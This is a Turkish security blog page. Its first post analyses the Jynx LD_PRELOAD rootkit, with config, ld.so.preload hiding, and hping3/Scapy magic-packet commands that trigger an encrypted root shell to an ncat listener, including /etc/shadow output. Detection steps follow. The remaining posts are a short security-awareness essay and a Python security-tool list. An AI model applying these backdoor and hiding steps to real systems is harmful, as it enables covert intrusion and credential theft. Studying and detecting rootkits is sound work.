Jynx Rootkit

Posted by admin     Category: Genel

İster Network, ister tek bir bilgisayar olsun, izinsiz giriş erişimi sağlayan kişi, sistem üzerinde
görünmezlik isteyecektir.  Bunun içinde çeşitli yollara başvurabilir. Görünmezlik iksirinin en büyük
kaynağı Rootkitlerdir. {/*‘Rootkit nedir?’ sorusuna ilişkin eski yazıma bakabilirsiniz(Referanslar)*/}
*nix sistem üzerinde algılanmamak için kullanılan temel işlem, başlı başına bu işi görecek gerekli
Rootkit aracını yüklemektir.  Rootkitleri sisteme entegre etmek için kullanılan en önemli başvuru
kaynağı Kernel Modülüdür.  Kötü amaçla yazılan ve Çekirdeğe eklenen modül, saldırganın
yakalanma riskini en aza indirir. Fakat LKM’nin(Linux Kernel Module) bir tehlikesi de şudur;
sistemde gizli olmak yerine hatalı bir işlem yapılırsa ansızın “Kernel Panic” uyarısıyla sistem tamamen
kilitlenir. Neticesinde şüpheli bir durum oluşur. Diğer bir yöntem ise yakalanma durumunu en yüksek
noktasına çıkaran işlem; orijinal dosyaları(çalıştırılabilir), Rootkitin dosyalarıyla yer değiştirmektir
(Örn: netstat uygulamasının değiştirilmesi). Böylece sisteme girilen komut, sistem yöneticisini şaşırtır.
Sahte çıktılar üretir. Aynı zamanda Rootkit yakalama araçları tarafından kolay tespit edilir(Örn:rkhunter).

Son zamanlarda Linux üzerinde çalışan dikkate değer Rootkit aracına pek rastlamıyordum. Fakat
“Jynx Rootkit” adlı yeni Rootkit dikkatimi çekti. Bu araç sisteme kurulduğunda kendini herhangi bir
dosya ile yer değiştirmez.  Kendini sisteme kütüphane kaydı olarak tanımlar. Bir uygulamanın düzgün
çalışabilmesi öncelikle uygun kütüphanenin yüklenmesi gerekir. Kütüphane olmaz ise uygulama çalışmaz.
Nedeni de uygulamaya ait fonksiyonların yerli yerine oturmamasıdır.  Örneğin;  “ps” komutuyla sistem
üzerinde çalışan süreçleri takip edebiliriz.
Peki; “ps” uygulamasının çalışabilmesi gerekli kütüphaneler nedir?

# ldd /bin/ps

linux-gate.so.1 =>  (0xb783e000)
libproc-3.2.8.so => /lib/libproc-3.2.8.so (0xb7801000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb76a7000)
/lib/ld-linux.so.2 (0xb783f000)

Bu örnekten yola çıkarak; Jynx Rootkit, kendini bir kütüphane(sisteme yeni, beyaz bir sayfa açtırıyor :) )
olarak tanıtıp, bazı fonksiyonları denetim altına alarak(hook) kullanıcıların(root da dahil) gözünden bazı
durumları saklamaktadır. Hal böyle iken sistem üzerinde ne gibi gizli aktiviteler gerçekleştirilir? Öncelikle;
Rootkitlerin standart özelliği olan, dosyaların gizlenmesi ve sisteme uzaktan bağlantı noktasının da tespit
edilememesini sağlar. Dosyaların gizlenmesi için Rootkit; belirli dosya/dizin adlarına karşı tepki verir.
Saldırgan kendi dosya/dizin isimlerini belirli formata göre tanımlarsa dosyaların algılanmasını engeller.
Uzaktan sisteme bağlantı aşamasının gizlenmesi için ilginç bir taktik geliştirilmiş. Bağlantı gerçekleştiren
uygulama “bc” adı altında tanımlanmış. Rootkitin bir parçası olan “bc” çalıştırıldığında sistem üzerinde
herhangi bir port açmaz, Backdoor(arkakapı) oluşturulmaz.  Saldırganın sistem üzerinde kontrolü
sağlayabilmesi için bazı şartların gerçekleşmesi gerekir.
Örneklemeyi yazının ileriki aşamalarında anlatacağım. Jynx Rootkit dosyası temel olarak 2 dosyadan
oluşur(derleme aşamasından sonra).  Bu dosyalar(isimleri değiştirilmediği sürece);

bc
ld_poison.so

“config.h” dosyası Rootkitin bir yol haritasıdır. Saldırgan konfigürasyon dosyasını düzenleyerek, kendisine
has yapılandırma gerçekleştirir.

# more config.h

#ifndef CONFIG_H
#define CONFIG_H
#define MAGIC_DIR “bal1k”
#define MAGIC_GID 1003
#define CONFIG_FILE “ld.so.preload”
#define APP_NAME “bc”
#define MAGIC_ACK 0xdead
#define MAGIC_SEQ 0xbeef
//#define DEBUG
#endif
Jynx Rootkitin İçeriği
bc.c
config.h
ld_poison.c
Makefile
packer.sh
README

Yukarıda belirtilen örnek konfigürasyon dosyasında “bal1k” gizlenecek dizini(saldırgana ait dosyalar bu
dizinde olur) belirtir. “ld.so.preload” dosyasına Rootkitin ana kütüphane dosyası tanımlanarak Rootkitin
aktivasyonu sağlanır.
İçeriği “bal1k” kelimesi olan dizin/dosyalar gizlenir. Sistem bu kelimeyi dikkate almaz.
Böyle bir dizin hiç oluşturulmamış gibi görünür.

# ls -la /  denildiğinde Rootkit kurulu dizini saklar.

# ls -la /bal1k/
ls: cannot access /bal1k/: No such file or directory

# ls -la /etc/ld.so.preload
ls: cannot access /etc/ld.so.preload: No such file or directory

Saldırgan, Rootkit kurulumunu sağladıktan sonra her daim sistemi kontrol etmek isteyecektir.  Kontrol için
sessiz bir bağlantı işlemi gerçekleştirmesi gerekir.Normal bir arkakapı(Backdoor) işlemi sistem üzerinde
iz bırakır. Açık bırakılan port dikkat çeker.  Jynx Rootkitin parçası olan “bc” ile paket dinleme modu aktif
hale getirilir, sisteme TCP Paketi içerisine ACK numarası 0xdead ve SEQ numarası 0xbeef olan bir işaret
gönderilirse paketin gönderildiği sistem ile arasında bağlantı kurulur. İletişim şifreli gerçekleşir.

Saldırgan ile Sistem arasında nasıl bir bağlantı kurulduğunu görelim.
İzinsiz giriş yapılan sistem “bc” ile dinleme moduna alınır. “ps” komutu ile bu uygulama tespit edilemez.
Çalışan süreçlerde görünmez.

#bal1k# ./bc  eth2

Saldırgan kendi sistem üzerinde(1. Konsol penceresi);

hacker@lcd557:~$ ncat -l 9090 –ssl         {/*ncat uygulaması, nmap in bir parçasıdır*/}

ncat ile kendi üzerinde veri iletişimi için 9090 nolu portu dinlemeye alır.

Şu an karşı sistem ile bağlantı aşamasına geçebilir(2.Konsol penceresi).
Bağlantı için ACK ve SEQ numaraları belirli bir yapıya sahip sinyal/paket/ gönderildiğinde ncat ile dinlemeye
alınan port üzerinden sistem ile şifreli şekilde haberleşir.

root@lcd557:/home/hacker# hping3 193.x.x.17x -s 9090 -M 0xbeef -L 0xdead -c 1           /* 2. Konsol */

HPING 193.x.x.17x (eth0 193.x.x.17x): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=193.x.x.17x ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.4 ms
— 193.x.x.17x hping statistic —
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

 

hacker@lcd557:~$ ncat -l 9090 –ssl                    /* 1. Konsol */
ls                                                                           /* SEQ ve ACK numarası doğru ise */
bal1k.txt                                                                /* bağlantı işlemi gerçekleşir */
bc
bc.c
config.h
ld_poison.c
ld_poison.so
Makefile
packer.sh
README
telnet.c
id
uid=0(root) gid=90 groups=0(root)

Peki bağlantının gerçekleşmesi için gönderilen sihirli sinyal(TCP Paketi) sadece hping aracı ile mi oluşturulur?
Scapy ile özel bir yapıda basit bir paket oluşturularak saldırgan Jynx Rootkit kurulu sisteme bağlantı yapabilir.

Bunun için aşağıdaki işlemleri yapabilir.

root@lcd557:/home/hacker# scapy

Welcome to Scapy (2.0.1)

>>> i=IP()                                                          - – - – - – >  i :  IP layer
>>> i.dst=”193.x.x.17x”                                    - – - – - – > Jynx Rootkitin kurulu olduğu bilgisayar
>>> t=TCP()                                                      – - – - – - >  t: TCP Paketimi hazırla
>>> t.sport=9090                                              – - – - – -  >  Kaynak  9090 nolu port
>>> t.flags=”A”                                               - – - – - – ->  ACK Bayrağı
>>> t.seq=0xbeef                                             - – - – - – -> Sihirli SEQ Numarası
>>> t.ack=0xdead                                            - – - – - – > Sihirli ACK Numarası
>>> send(i/t)                                                    - – - – - – - > Paketi Gönder
.
Sent 1 packets.
>>>

Saldırganın bilgisayarında hazır durumda bekleyen ncat komutunun bulunduğu kısım ile bağlantı gerçekleşir;

hacker@lcd557:~$ ncat -l 9090 –ssl

id
uid=0(root) gid=90 groups=0(root)

pwd
/bal1k

more /etc/shadow

root:$6$NW..ADTT$OLcDu8l11GleCuNSvYCi7e2DNok3GiY3ZF5sCnqk4..Ts8/:15211:0:99999:7:::
daemon:x:15204:0:99999:7:::
bin:x:15204:0:99999:7:::
sys:x:15204:0:99999:7:::
sync:x:15204:0:99999:7:::
games:x:15204:0:99999:7:::
man:x:15204:0:99999:7:::
lp:x:15204:0:99999:7:::
mail:x:15204:0:99999:7:::
news:x:15204:0:99999:7:::
uucp:x:15204:0:99999:7:::
proxy:x:15204:0:99999:7:::
www-data:x:15204:0:99999:7:::
backup:x:15204:0:99999:7:::
kdz-eregli:$6$LlGeHCtc$mHv1e/nn4KWVmuIRjBJRTO.jlprtQZKMNwTXHP8ciIJ.:15211:0:99999:7:::
master:$6$kitqVK66$.h2f3Ba.H6pSVaT3fcNStBsY4VH0NVk1UNipV68gUP7h/:15222:0:99999:7:::
dhcpd:*:15267:0:99999:7:::


Tespit İşlemi
                /* Gizli bir şeyler var sanki….*/  

Sistemde yer alan kütüphaneleri tamamıyla tanıyamayabilirsiniz.
Hangi kütüphane ne işe yarıyor tahminde edemeyebilirsiniz.
Fakat basit birkaç işlem ile Jynx Rootkit tespit etme ihtimalimiz var.

 

root@bt:~# ldd /bin/ls

librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb76e6000)
/bal1k/ld_poison.so (0xb76cb000)                                        <- – -  incelenmesi gerekir.
libacl.so.1 => /lib/libacl.so.1 (0xb76c2000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7568000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb754f000)
/lib/ld-linux.so.2 (0xb7708000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb754b000)
libattr.so.1 => /lib/libattr.so.1 (0xb7545000)

ldd komutuyla bir sonuç elde edemezsek.” lsof” komutuyla bir adım ileri gidebiliriz.

root@bt:~#  lsof | grep “\.so”

gnome-pty 2228  root  mem  REG 8,17    193078 /bal1k/ld_poison.so (stat: No such file or directory)
gnome-pty 2228  root  mem  REG 8,17    113964     262187 /lib/ld-2.11.1.so
bash      2229       root  mem  REG 8,17    1405508     266620 /lib/tls/i686/cmov/libc-2.11.1.so
bash      2229       root  mem  REG 8,17     9736     266626 /lib/tls/i686/cmov/libdl-2.11.1.so
bash      2229       root  mem  REG 8,17    223768     262270 /lib/libncurses.so.5.7
bash      2229       root  mem  REG 8,17    193078 /bal1k/ld_poison.so (stat: No such file or directory)
bash      2229       root  mem  REG 8,17    113964     262187 /lib/ld-2.11.1.so
bash      2450       root  mem  REG 8,17    1405508     266620 /lib/tls/i686/cmov/libc-2.11.1.so
bash      2450       root  mem  REG 8,17    9736     266626 /lib/tls/i686/cmov/libdl-2.11.1.so
bash      2450       root  mem  REG 8,17    223768     262270 /lib/libncurses.so.5.7
bash      2450       root  mem  REG 8,17    193078 /bal1k/ld_poison.so (stat: No such file or directory)

lsof çıktısında yer alan “/bal1k/ld_poison.so (stat: No such file or directory) “ satır dikkatimizi biraz
daha yoğunlaştırmamıza sebep olur.

root@bt:# ls -la /bal1k/
ls: cannot access /bal1k/: No such file or directory                          < – - – bal1k dizini yok(muş) !!!

root@bt:#  readelf -r /bal1k/ld_poison.so
readelf: Error: ‘/bal1k/ld_poison.so’: No such file                           < -  -  -  !!!

“ld_poison.so” kitabını sistemin okumasını sağlayan bir belirteç olması gerekir. Bu belirteç;
/etc dizininde yer alan “ld.so.preload” dosyasıdır.

root@bt:#  ls -la /etc/ld.so.preload
ls: cannot access /etc/ld.so.preload: No such file or directory          < – - – -  dosya yok mu? !!!!

root@bt:#  cat /etc/ld.so.preload
/bal1k/ld_poison.so                                                                                 <- – - – :)

“ld.so.preload” dosyasına tanımlı olan “ld_poison.so” parçasını çıkaralım. “ld.so.preload” dosyasını
özgür bıraktığımız andan itibaren herşey belirginleşmeye başlar.

root@bt:/etc# ls -la /

total 136
drwxr-xr-x  27 root root  4096 2011-11-14 06:57 .
drwxr-xr-x  27 root root  4096 2011-11-14 06:57 ..
drwxr-xr-x   2 root root  4096 2011-11-15 03:00 bal1k                                  <- – - – - –  DİKKAT
drwxr-xr-x   2 root root  4096 2011-11-15 06:36 bin
drwxr-xr-x   3 root root  4096 2011-10-27 06:52 boot
drwxr-xr-x   2 root root  4096 2011-03-05 11:41 cdrom
drwxr-xr-x  17 root root  3760 2011-11-15 01:41 dev
drwxr-xr-x 166 root root 12288 2011-11-16 04:42 etc


 

root@bt:#  cd /bal1k/

root@bt:/bal1k# ls -la

total 36
drwxr-xr-x  2 root root  4096 2011-10-24 08:51 .
drwxr-xr-x 27 root root  4096 2011-11-02 09:52 ..
-rwxr-xr-x  1 root root 13050 2011-10-24 08:51 bc                                   —— ******
-rwxr-xr-x  1 root root 11993 2011-10-24 08:51 ld_poison.so                —— ******

 

root@bt:/bal1k# strings ld_poison.so
__lxstat
__lxstat64
open
rmdir
__xstat
__xstat64
unlink
fdopendir
readdir
strcmp
snprintf
libc.so.6
..
fdopendir
opendir
readdir
readdir64
ld.so.preload                       <- – - -  Yükle ve gizle…
bal1k                                     < – - – -????  Hepsini gizle
/proc/%s

 

Jynx Rootkitin ana dosyalarını ve sisteme kurulumun sonrası neler gerçekleştiğini gördük.
*nix sistemlerde izinsiz erişim sağlayan kişinin(kişilerde olabilir) Rootkit entegre etme olasılığı her zaman
mevcuttur. Gizlilik temel prensiptir.

Tacettin KARADENiZ
tacettink{@}olympos.org


Referanslar

/* Jynx Rootkit */
http://www.blackhatacademy.org/releases/Jynx-Kit-Pub.tar.gz

/* hping */
http://www.hping.org/

/ *Scapy */
http://www.secdev.org/projects/scapy/

/* Görünmez Misafirler: RootKit */

Kaynak: http://www.olympos.net/belgeler/rootkit/jynx-rootkit-1261313.html#ixzz1iClECKFa

Güvenlik Lüks Değildir

Posted by admin     Category: Genel

Halk arasında, “çok gezen çok bilir, çok bilen de mutsuz olur” derler. Çok bilgi ne zamandan beri mutsuzluk vermeye başladı? Çağımız bilgi çağı değil midir?

Çok bilmek mutsuzluk getirir mi bilinmez ama, güvenlik konusunda çok bilmek bazen size huzursuzluğun kapılarını aralayabiliyor. Şöyle dönüp geçmişe bakıp, 10-11 sene kadar öncesindeki  güvenlik şartlarını değerlendirip, günümüzdeki bakış açısını kullandığımızda, nice dünya devi saydığımız firmanın; bilgilerimizi tereddütsüz emanet ettiğimiz kurumun, bugün ortaya çıkan güvenlik açıklarından aslında o zamanlarda da ne denli etkilenebilecek olduğunu görürüz. Bu insanın kanını donduruyor. Öyle ki, bugün artık herkesin bildiği, “bilinen açıklar”, büyük firmaların o dönemlerde kritik görevlerde kullanılan sistemlerinde de mevcut idi, ancak bilinmiyorlardı. Belki de bilmemek buradaki “sahte güven” duygusunun anahtarıydı. Şüphesiz ki, o açıkların orada olduğunu bilen bir sistem yöneticisinin uykuları kaçardı, mutsuz olurdu. Çünkü artık, sıradakinin kendisi olabileceğinin bilincine varmış olurdu. Görünen o ki, çok bilmek bazen mutsuzluk da getirebiliyor…

Bir güvenlikçi gözüyle bakılırsa bu bilincin farkına varmak için, “bilmek” yetiyor.  Bilinmesi gereken şey ise, güvenliğin her an bozulmaya müsait, bu yüzden titizlikle korunması gereken önemli bir gereksinim olması. Ya peki bilmeyenler? Bu bilince ulaşmak için sıra bekleyenler? Onlara da bir şekilde ulaşmak lazım, lazım ki; onlar sıralarını beklerken aynı zamanda da, bu tehditlere karşı hazır olsunlar.

Bugün bilgi teknolojileri hayatın her alanına girmiş durumda. İnternet kullanıcı sayısının dünya genelinde artmasıyla, kişisel bilgi güvenliği artık gündelik hayatın içinde herkesin bilip de çoğu kez bilincine varamadığı bir unsur. Bireysel olarak yayılıp, önem kazanan bir teknolojinin, kurumsal tarafta öneminin artmaması gibi bir ihtimal olamaz elbet. Devlet işlerinden, Kobilerin bilişim ihtiyaçlarına varana kadar, bilgi teknolojilerinin kullanıldığı birçok alanda bilgiyi, güvenlik unsurundan ayırmak olanaksız.

Hayatında bilgisayar görmemiş, kullanmamış bir vatandaşın, bir kurumda; erişilmez olan, çalışmayan, kilitlenen bir bilgisayar sistemi tarafından mağdur edilmesi, olası bir senaryo değil, gündelik hayattan alınma bir örnektir. Bu durumda, kim diyebilir ki güvenlik lüks’tür?

Güvenlik denetimi yapanlar için python araçları

Posted by admin     Category: Genel

Güvenlik araştırma, reverse engineering veya sızma testleri ile ilgileniyorsanız python programlama dilini denemenizi öneririm. Çok sayıda kütüphaneler ve programlara sahip. Bu sayfa bunlardan bazılarını listeliyor.

Listelenen araçların çoğu Python’da yazılmış, diğerleri ise mevcut C kütüphaneleri için Python bağlayıcıları (yani python programlardan bu kütüphanelere kolay erişim sağlıyorlar).

Agresif araçların bazıları (pentest framework, bluetooth smasher, webapp vuln scanner, war-dialer vs) çıkarıldı çünkü bu araçların kanunlara uygunluğu konusunda kesin bir bilgim yok. Bu liste beyaz şapkalara yardım için hazırlandı.


Scapy - ağ paketlerini gönderme, dinleme ve işleme. İnteraktif olarak veya kütüphane olarak kullanılabilir.
pycapPcapy ve pylibpcap - libpcap için çeşitli Python bağlayıcıları
dpkt - hızlı, basit paket yaratma parse etme, temel TCP/IP protokollerinin tanımlarına sahip
Impacket - Ağ paketleri yaratma ve decode etme. NMB ve SMB gibi yüksek-seviye protokoller için desteği de var.
pynids - dinleme, IP defragmentation, TCP stream tekrar birleştirme ve port tarama tespiti sunan libnids wrapper
Dirtbags py-pcap - libpcap olmadan pcap dosyalarını okuma
flowgrep - regular expression kullanarak paket yüklerine grep
httplib2 - Diğer HTTP kütüphanelerinde eksik olan çok sayıda özelliğe sahip kapsamlı bir HTTP istemci kütüphanesi
Knock Subdomain Scan - hedef bir alandaki alt alanları bir kelime listesi kullanarak listeler
Mallory - man-in-the-middle proxy
mitmproxy - SSL destekli, mitm proxy. Konsol arayüzünde trafik akışı geçiş anında incelenip değiştirilebilir.

Debug ve reverse engineering
Paimei - Reverse engineering framework, PyDBG, PIDA, pGRAPH’ı içeriyor
Immunity Debugger - script destekli grafik arayüz ve komut satırı debugger
IDAPython - Python programlama dili ile entegre olup script’lerin IDA Pro içinde çalıştırılabilmesini sağlayan bir IDA Pro plugini.
PyEMU - IA-32 emulator, zararlı yazılım analizinde kullanışlı
pefile - Portable Executable dosyalarını okuma ve çalışma
pydasm - libdasm x86 disassembling kütüphanesi için Python arabirimi
PyDbgEng - Microsoft Windows Debugnig Engine için Python wrapper
uhooker - DLL’ler içinden yapılan API çağrılarını yakalama ve çalıştırılabilir dosyanın hafızasında istenilen adresler…
diStorm64 - AMD64 için dissambler kütüphanesi, BSD lisanslı
python-ptrace - ptrace kullanan debugger (işlemleri trace için Linux, BSD ve Darwin sistem çağrısı)

Fuzzing
Sulley - Genişletilebilir bileşenlere sahip fuzzer geliştirme ve fuzz test framework
Peach Fuzzing Platform - Generation ve mutation tabanlı fuzzing için genişletilebilir fuzzing framework
antiparser - fuzz test ve fault injection API
TAOFProxyFuzz ile, bir mitm non-deterministic network fuzzer
untidy - Genel amaçlı XML fuzzer
Powerfuzzer - Tamamen otomatikleştirilebilen ve özelleştirilebilen we fuzzer (HTTP protoklü tabanlı uygulama fuzzer)
FileP - Dosya fuzzer. Kaynak dosya listesinden mutate edilmiş dosyalar yaratır ve bunları harici bir programa verir.
SMUDGE
Mistress - Önceden belirlenmiş pattern’lere göre dosya formatları ve bozuk veriye sahip protokol testi
Fuzzbox - çoklu-codec medya fuzzer
Forensic Fuzzing Araçları - fuzzed dosyalar, fuzzed dosya sistemleri yaratıp forensic araçlarının ve inceleme sistemlerinin test edilmesi
Windows IPC Fuzzing Araçları - Windows Interprocess Communication mekanizmalarını kullanan uygulamaları fuzz etmekte kullanılan araçlar
WSBang - SOAP tabanlı web servislerinin otomatik güvenlik testi
Construct - Binary veya textual veri yapılarını parse ve inşa. Kendi veri yapılarınızı tanımlayın.
fuzzer.py (feliam) - Felipe Andres Manzano’dan basit bir fuzzer
Fusil - Fuzzing programları yazmak için python kütüphanesi

Web
ProxMon - Proxy log’larını işleyip bulunan problemleri raporlar
WSMap - web servis endpoint’leri bulmada ve dosyaları keşfetmede
Twill - Webe komut satırından bakın. Otomatik webn testi destekliyor.
Windmill - Web uygulamanızı otomatik olarak test ve debug etmenizi sağlayan web test aracı
FunkLoad - Fonksiyonel ve yük testi

Forensic
Volatility - Volatile hafıza (RAM) örneklerinden dijital bulgular çıkarma
SandMan - Windows sürümüne bağlı olmadan hibernation dosyasını okuma
LibForensics - Dijital forensic uygulamaları geliştirmek için kütüphane
TrIDLib - Dosya tiplerini binary imzalarından tanıma. Artık Python bağlantısı da içeriyor.

Zararlı Yazılım Analizi
pyew - komut satırı hexadecimal editor ve disassembler, temelde zararlı yazılım testi için
Exefilter - e-postalardaki, web sayfalarındaki veya dosyalardaki dosya formatlarını filreleme. Çoğu genel dosya tipini tespit ediyor ve aktif içeriği çıkarabiliyor.
pyClamAV - Python yazılımınıza virüs tespit yetenekleri ekleyin
jsunpack-n - Genel JavaScript unpacker: browser fonksiyonlarını emüle ederek browser ve browser plug-in açıklarını hedefleyen exploit’leri tespit etmek için
yara-python - zararlı yazılım örneklerini tanımlama ve sınıflandırma için

PDF
Didier Stevens’ın PDF Araçları - PDF dosyalarını analiz, tanıma ve yaratma (PDFiDpdf-parser, mPDF ve make-pdf dahil)
Opaf - Open PDF Analysis Framework. PDF’i analiz edilip değiştirilebilen bir XML ağacına dönüştürür.
Origapy - PDF dosyalarını sanitze eden Origami Ruby modülü için Python wrapper
pyPDF - python PDF toolkit. bilgi ayrıştırma, bölme, birleştirme, kesme, kriptolama ve dekriptolama…
PDFMiner - PDF dosyalardan text çıkarma
python-poppler-qt4 - Poppler PDF kütüphanesi için Python bağlantısı , QT4 desteği dahil

Genel
InlineEgg - Python’da küçük assembly programlar yazmak için sınıflar
Exomind - sosyal ağ hizmetleri, arama motorları ve anlık mesajlaşma üzerine grafikler yaratmak ve açık kaynak intelligence modülleri ve fikirleri geliştirmek için
RevHosts - Verilen IP adresi için sanal host’ları listeleme
simplejson - JSON kodlayıcı/dekoder ör. Google AJAX API
PyMangle - diğer sızma testi araçlarıyla kullanmak için kelime listeleri yaratma komut satırı aracı ve python kütüphanesi
Hachoir - Bir binary stream field’lerini görüntüleme ve düzenleme

Diğer yararlı kütüphane ve araçlar
IPython - Object introspection ve sistem shell erişimi için kendi özel komut sistemi gibi çok sayıda özelliğe sahip gelişmiş interaktif Python shell
Beautiful Soup - ekrandan bilgi toplama için optimize HTML parser
matplotlib - array’ların 2D plot’larını yapmak için
Mayavi - 3 boyutlu bilimsel veri görselleştirme ve plot
RTGraph3D - 3B dinamik grafikler yaratma
Twisted - event-driven ağ motoru
Suds - Web hizmetleri için basit SOAP istemcisi
M2Crypto - OpenSSL wrapper
NetworkX - grafik kütüphanesi (edge,node)
pyparsing - genel parse modülü
lxml - Python dilinde XML ve HTML ile çalışmada en zengin özelliklere sahip ve kullanımı en kolay kütüphane.
Pexpect - Diğer programları kontrol ve otomatikleştirme, Don Libes Expect sistemine benzer
Sikuli - GUI’leri ekran görüntüleri ile arama ve otomatikleştirme teknolojisi. Jython script’ler ile kullanılabiliyor
PyQt ve PySide - Qt application framework ve GUI kütüphanesi için Python bağlantıları

Başka kütüphaneler için PyPI, Python Package Index’e bakabilirsiniz.

Dirk Loss http://dirk-loss.de/python-tools.htm

Kaynak: http://www.olympos.net/belgeler/urun/python/guvenlik-denetimi-yapanlar-icin-python-araclari-2851314.html#ixzz1iCkg7Upg